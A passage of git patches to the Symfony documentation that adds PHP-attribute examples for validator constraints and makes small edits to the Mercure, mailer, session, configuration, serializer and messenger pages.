+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January',
+                max: 'first day of January next year',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -195,6 +228,22 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $startDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            #[Assert\Range(
+                min: 'first day of January UTC',
+                max: 'first day of January next year UTC',
+            )]
+            protected $startDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -265,6 +314,22 @@ can check that a delivery date starts within the next five hours like this:
             protected $deliveryDate;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\Range(
+                min: 'now',
+                max: '+5 hours',
+            )]
+            protected $deliveryDate;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 642a1fc180d..a6217c892f7 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -41,6 +41,19 @@ more word characters at the beginning of your string:
             protected $description;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex('/^\w+/')]
+            protected $description;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,6 +123,23 @@ it a custom message:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/\d/',
+                match: false,
+                message: 'Your name cannot contain a number',
+            )]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -203,6 +233,22 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             protected $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Regex(
+                pattern: '/^[a-z]+$/i',
+                match: '^[a-zA-Z]+$'
+            )]
+            protected $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index e94613e1f6f..fb8a9b337fb 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -37,6 +37,22 @@ of the day when the event starts:
             protected $startsAt;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Event.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Event
+        {
+            /**
+             * @var string A "H:i:s" formatted value
+             */
+            #[Assert\Time]
+            protected $startsAt;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 98ca73c156a..36ebdd0b86b 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -38,6 +38,19 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
             protected $timezone;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UserSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UserSettings
+        {
+            #[Assert\Timezone]
+            protected $timezone;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index fd329bd38a3..9301afc445a 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -89,6 +89,73 @@ that all have constraints on their properties.
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @ORM\Entity
+         */
+        #[Assert\Traverse]
+        class BookCollection implements \IteratorAggregate
+        {
+            /**
+             * @var string
+             *
+             * @ORM\Column
+             */
+            #[Assert\NotBlank]
+            protected $name = '';
+
+            /**
+             * @var Collection|Book[]
+             *
+             * @ORM\ManyToMany(targetEntity="App\Entity\Book")
+             */
+            protected $books;
+
+            // some other properties
+
+            public function __construct()
+            {
+                $this->books = new ArrayCollection();
+            }
+
+            // ... setter for name, adder and remover for books
+
+            // the name can be validated by calling the getter
+            public function getName(): string
+            {
+                return $this->name;
+            }
+
+            /**
+             * @return \Generator|Book[] The books for a given author
+             */
+            public function getBooksForAuthor(Author $author): iterable
+            {
+                foreach ($this->books as $book) {
+                    if ($book->isAuthoredBy($author)) {
+                        yield $book;
+                    }
+                }
+            }
+
+            // neither the method above nor any other specific getter
+            // could be used to validated all nested books;
+            // this object needs to be traversed to call the iterator
+            public function getIterator()
+            {
+                return $this->books->getIterator();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -168,6 +235,21 @@ disable validating:
              // ...
          }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/BookCollection.php
+
+        // ... same as above
+
+        /**
+         * ...
+         */
+         #[Assert\Traverse(false)]
+         class BookCollection implements \IteratorAggregate
+         {
+             // ...
+         }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 1962dffa284..61189e7f989 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -59,6 +59,31 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
             protected $accessCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Type('Ramsey\Uuid\UuidInterface')]
+            protected $id;
+
+            #[Assert\Type('string')]
+            protected $firstName;
+
+            #[Assert\Type(
+                type: 'integer',
+                message: 'The value {{ value }} is not a valid {{ type }}.',
+            )]
+            protected $age;
+
+            #[Assert\Type(type: ['alpha', 'digit'])]
+            protected $accessCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 7bcae08e961..92315089350 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -37,6 +37,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Ulid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 97cb6ff8602..497156ed9b4 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -50,6 +50,19 @@ strings:
             protected $contactEmails;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\Unique]
+            protected $contactEmails;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 2bf2533f57e..c76a31e6a4c 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -59,6 +59,31 @@ between all of the rows in your user table:
             protected $email;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+
+        // DON'T forget the following use statement!!!
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @ORM\Entity
+         */
+        #[UniqueEntity('email')]
+        class User
+        {
+            /**
+             * @ORM\Column(name="email", type="string", length=255, unique=true)
+             */
+            #[Assert\Email]
+            protected $email;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -188,6 +213,35 @@ Consider this example:
             public $port;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Service.php
+        namespace App\Entity;
+
+        use Doctrine\ORM\Mapping as ORM;
+        use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
+
+        /**
+         * @ORM\Entity
+         */
+        #[UniqueEntity(
+            fields: ['host', 'port'],
+            errorPath: 'port',
+            message: 'This port is already in use on that host.',
+        )]
+        class Service
+        {
+            /**
+             * @ORM\ManyToOne(targetEntity="App\Entity\Host")
+             */
+            public $host;
+
+            /**
+             * @ORM\Column(type="integer")
+             */
+            public $port;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 5f4ac23245f..91714131294 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -35,6 +35,19 @@ Basic Usage
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -124,6 +137,21 @@ Parameter        Description
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                message: 'The url {{ value }} is not a valid url',
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -200,6 +228,21 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                protocols: ['http', 'https', 'ftp'],
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -275,6 +318,21 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
             protected $bioUrl;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Url(
+                relativeProtocol: true,
+            )]
+            protected $bioUrl;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index 9655380bf95..03c992e66e6 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -51,6 +51,21 @@ the user's current password:
             protected $oldPassword;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Form/Model/ChangePassword.php
+        namespace App\Form\Model;
+
+        use Symfony\Component\Security\Core\Validator\Constraints as SecurityAssert;
+
+        class ChangePassword
+        {
+            #[SecurityAssert\UserPassword(
+                message: 'Wrong value for your current password',
+            )]
+            protected $oldPassword;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 427a373f788..c7b2d94900b 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -38,6 +38,19 @@ Basic Usage
             protected $identifier;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/File.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class File
+        {
+            #[Assert\Uuid]
+            protected $identifier;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..8378f34cbec 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -87,6 +87,40 @@ stores an ``Address`` instance in the ``$address`` property::
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Address.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Address
+        {
+            #[Assert\NotBlank]
+            protected $street;
+
+            #[Assert\NotBlank]
+            #[Assert\Length(max: 5)]
+            protected $zipCode;
+        }
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 4)]
+            protected $firstName;
+
+            #[Assert\NotBlank]
+            protected $lastName;
+
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -196,6 +230,19 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
             protected $address;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Valid]
+            protected $address;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 8379ea8be9f200ac4415fd6a678bfc1462066d9f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 21 Jan 2021 21:19:23 +0100
Subject: [PATCH 0403/5766] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2999db21334..2947f18cb68 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -214,7 +214,7 @@ you can configure them to be sent to a transport:
 
                 routing:
                     # async is whatever name you gave your transport above
-                    'App\Message\SmsNotification':  async
+                    'App\Message\SmsNotification': async
 
     .. code-block:: xml
 

From 465da94d215a21cdfb362c592730c89704557ea4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Tue, 22 Dec 2020 20:04:03 +0100
Subject: [PATCH 0404/5766] [Mercure] Update docs for v0.11

---
 mercure.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index e4bc11d911f..527833e2f7e 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -68,11 +68,20 @@ clients.
 An official and open source (AGPL) implementation of a Hub can be downloaded
 as a static binary from `Mercure.rocks`_.
 
-Run the following command to start it:
+If you use `Symfony Docker`_,
+a Mercure Hub is already included and you can skip straight to the next section.
 
-.. code-block:: terminal
+On Linux and Mac, run the following command to start it:
+
+.. rst-class:: command-linux
+
+    $ SERVER_NAME=:3000 MERCURE_PUBLISHER_JWT_KEY="!ChangeMe!" MERCURE_SUBSCRIBER_JWT_KEY="!ChangeMe!" ./mercure run -config Caddyfile.dev
+
+On Windows run:
+
+.. rst-class: command-windows
 
-    $ ./mercure --jwt-key='!ChangeMe!' --addr='localhost:3000' --allow-anonymous --cors-allowed-origins='*'
+    > $env:SERVER_NAME=':3000'; $env:MERCURE_PUBLISHER_JWT_KEY='!ChangeMe!'; $env:MERCURE_SUBSCRIBER_JWT_KEY='!ChangeMe!'; .\mercure.exe run -config Caddyfile.dev
 
 .. note::
 
@@ -175,8 +184,8 @@ the **topic** being updated. This topic should be an `IRI`_
 of the resource being dispatched.
 
 Usually, this parameter contains the original URL of the resource
-transmitted to the client, but it can be any valid `IRI`_, it doesn't
-have to be a URL that exists (similarly to XML namespaces).
+transmitted to the client, but it can be any string or `IRI`_,
+and it doesn't have to be a URL that exists (similarly to XML namespaces).
 
 The second parameter of the constructor is the content of the update.
 It can be anything, stored in any format.
@@ -630,6 +639,7 @@ Enable the panel in your configuration, as follows:
 .. _`high-level implementations`: https://mercure.rocks/docs/ecosystem/awesome
 .. _`In this recording`: https://www.youtube.com/watch?v=UI1l0JOjLeI
 .. _`Mercure.rocks`: https://mercure.rocks
+.. _`Symfony Docker`: https://github.com/dunglas/symfony-docker/
 .. _`API Platform distribution`: https://api-platform.com/docs/distribution/
 .. _`JSON Web Token`: https://tools.ietf.org/html/rfc7519
 .. _`example JWT`: https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtZXJjdXJlIjp7InB1Ymxpc2giOlsiKiJdfX0.iHLdpAEjX4BqCsHJEegxRmO-Y6sMxXwNATrQyRNt3GY

From 0f95e076b5529d5507444f55a130946865647d1a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Marcin=20Brzuchalski?=
 <michal.brzuchalski@gmail.com>
Date: Tue, 19 Jan 2021 17:54:47 +0100
Subject: [PATCH 0405/5766] Require preprocessor env name fix used in PHP
 snippet

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 710ce3da6b6..7b134067bef 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -394,7 +394,7 @@ Symfony provides the following env var processors:
             // config/packages/framework.php
             $container->setParameter('env(PHP_FILE)', '../config/.runtime-evaluated.php');
             $container->loadFromExtension('app', [
-                'auth' => '%env(require:AUTH_FILE)%',
+                'auth' => '%env(require:PHP_FILE)%',
             ]);
 
     .. versionadded:: 4.3

From 3d560c3059e18ad7eecb4e45eeda1887cbee3e2c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 20 Jan 2021 16:23:39 +0100
Subject: [PATCH 0406/5766] Listing possible values of storage_id

---
 reference/configuration/framework.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 83b1cd90abb..4515077d1d7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1249,9 +1249,14 @@ storage_id
 
 **type**: ``string`` **default**: ``'session.storage.native'``
 
-The service id used for session storage. The ``session.storage`` service
-alias will be set to this service id. This class has to implement
+The service ID used for storing the session. The ``session.storage`` service
+alias will be set to this service. The class has to implement
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
+To see a list of all available storages, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container session.storage.
 
 .. _config-framework-session-handler-id:
 

From 706222e14f34905949e077001cfd25be8dc74488 Mon Sep 17 00:00:00 2001
From: Ian Gilfillan <github@greenman.co.za>
Date: Tue, 12 Jan 2021 22:47:34 +0200
Subject: [PATCH 0407/5766] Mention MariaDB as well

---
 session/database.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index badd1412145..6430517c647 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -166,11 +166,11 @@ parallel and only the first one stored the CSRF token in the session.
     If you use Memcached instead of Redis, follow a similar approach but replace
     ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
-Store Sessions in a Relational Database (MySQL, PostgreSQL)
+Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
 -----------------------------------------------------------
 
 Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-to store sessions in relational databases like MySQL and PostgreSQL. To use it,
+to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
 first register a new handler service with your database credentials:
 
 .. configuration-block::
@@ -379,8 +379,8 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
-MySQL
-.....
+MariaDB/MySQL
+.............
 
 .. code-block:: sql
 

From 794de34c0063736b057c6d666569d350618f3522 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 15:12:02 +0100
Subject: [PATCH 0408/5766] Tweaks

---
 session/database.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 6430517c647..a0fb1b3d4a6 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -167,7 +167,7 @@ parallel and only the first one stored the CSRF token in the session.
     ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
 Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
------------------------------------------------------------
+--------------------------------------------------------------------
 
 Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
 to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
@@ -379,6 +379,8 @@ file and run the migration with the following command:
 
     $ php bin/console doctrine:migrations:migrate
 
+.. _mysql:
+
 MariaDB/MySQL
 .............
 

From 5d8a9e25130e6d46da32084b2aa5ce64bba8cc63 Mon Sep 17 00:00:00 2001
From: CaDJoU <46056722+cadjou@users.noreply.github.com>
Date: Tue, 19 Jan 2021 23:40:48 +0100
Subject: [PATCH 0409/5766] [Mailer] Update mailer.rst

---
 mailer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 90472439eb5..bef7cef866e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -65,6 +65,13 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             ]);
         };
 
+.. caution::
+
+    If the username, password or host contain any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 .. caution::
 
     If you are migrating from Swiftmailer (and the Swiftmailer bundle), be

From 58ddc5fd32a66765980d686b00ab1b6fdd2d7105 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 15:17:24 +0100
Subject: [PATCH 0410/5766] Added missing reference link

---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index bef7cef866e..58531bf85f3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1120,3 +1120,4 @@ a specific address, instead of the *real* address:
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
+.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt

From 6987db2dd8e984775d26058f611a321ab28693fd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vincent=20Brout=C3=A9?= <neveldo@gmail.com>
Date: Fri, 8 Jan 2021 18:08:31 +0100
Subject: [PATCH 0411/5766] Update configuration.rst

Fix PHP configuration sample for setting default parameter bindings.
---
 configuration.rst | 17 +++++++----------
 1 file changed, 7 insertions(+), 10 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e25e18efd5b..1b5c2eef31f 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -881,18 +881,15 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         use App\Controller\LuckyController;
-        use Psr\Log\LoggerInterface;
-        use Symfony\Component\DependencyInjection\Reference;
 
         return static function (ContainerConfigurator $container) {
-            $container->services()
-                ->set(LuckyController::class)
-                    ->public()
-                    ->args([
-                        // pass this value to any $projectDir argument for any service
-                        // that's created in this file (including controller arguments)
-                        '$projectDir' => '%kernel.project_dir%',
-                    ]);
+            $services = $container->services()
+                ->defaults()
+                    // pass this value to any $projectDir argument for any service
+                    // that's created in this file (including controller arguments)
+                    ->bind('$projectDir', '%kernel.project_dir%');
+            
+            // ...
         };
 
 .. seealso::

From b72cfde11a1a6b53860b4c42e65573ac0db97d91 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 15:34:09 +0100
Subject: [PATCH 0412/5766] Tweak

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 1b5c2eef31f..ecc34b99ddc 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -883,7 +883,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
         use App\Controller\LuckyController;
 
         return static function (ContainerConfigurator $container) {
-            $services = $container->services()
+            $container->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)

From b703a22e5c286c2a1f10369d97a00ede143e590b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 16:59:27 +0100
Subject: [PATCH 0413/5766] Tweaks

---
 components/phpunit_bridge.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 289346547c7..674c5d1c519 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -302,17 +302,16 @@ whenever you want to update the existing file):
 
 .. code-block:: terminal
 
-    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
 
 This command stores all the deprecations reported while running tests in the
-given file and encoded in JSON. The file path defined in ``baselineFile`` can
-be absolute or relative to your project root.
+given file path and encoded in JSON.
 
 Then, you can run the following command to use that file and ignore those deprecations:
 
 .. code-block:: terminal
 
-    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
 
 .. versionadded:: 5.2
 

From 425495b63061147b8c6f3e160f747c5991bde682 Mon Sep 17 00:00:00 2001
From: Souhail <smsouhail@gmail.com>
Date: Fri, 22 Jan 2021 17:01:50 +0100
Subject: [PATCH 0414/5766] Update serializer.rst

Update CsvEncoder's default values
---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index d6c19a10cd3..f554ed7cf76 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -869,7 +869,7 @@ Option                  Description                                            D
 ``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
                         character only)
 ``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
-``csv_escape_char``     Sets the escape character (at most one character)
+``csv_escape_char``     Sets the escape character (at most one character)      empty string
 ``csv_key_separator``   Sets the separator for array's keys during its         ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
@@ -879,7 +879,7 @@ Option                  Description                                            D
                         ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
                         with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only
+``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
 ``no_headers``          Disables header in the encoded CSV                     ``false``
 ``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``

From 78c0441a5b370c6789e0f399bbc896ef86d542c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 17:31:27 +0100
Subject: [PATCH 0415/5766] Tweaks

---
 messenger.rst | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e73498c6c84..edd43cd7881 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1309,6 +1309,16 @@ during a request::
         }
     }
 
+The transport has a number of options:
+
+``serialize`` (boolean, default: ``false``)
+    Whether to serialize messages or not. This is useful to test an additional
+    layer, especially when you use your own message serializer.
+
+.. versionadded:: 5.3
+
+    The ``serialize`` option was introduced in Symfony 5.3.
+
 .. note::
 
         All ``in-memory`` transports will be reset automatically after each test **in**
@@ -1316,15 +1326,6 @@ during a request::
         :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
         or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
 
-.. tip::
-
-    Using ``in-memory://?serialize=true`` as dsn will perform message serialization as real asynchronous transport will do.
-    Useful to test an additional layer, especially when you use your own message serializer.
-
-.. versionadded:: 5.3
-
-    The ``in-memory://?serialize=true`` dsn was introduced in Symfony 5.3.
-
 Amazon SQS
 ~~~~~~~~~~
 

From b40bfae8215c1e4d7615270a334c2ce0eae0f09a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jan 2021 17:41:56 +0100
Subject: [PATCH 0416/5766] [Workflow] Added initialization docs

---
 components/workflow.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/workflow.rst b/components/workflow.rst
index a35602f1ac2..493b4230124 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
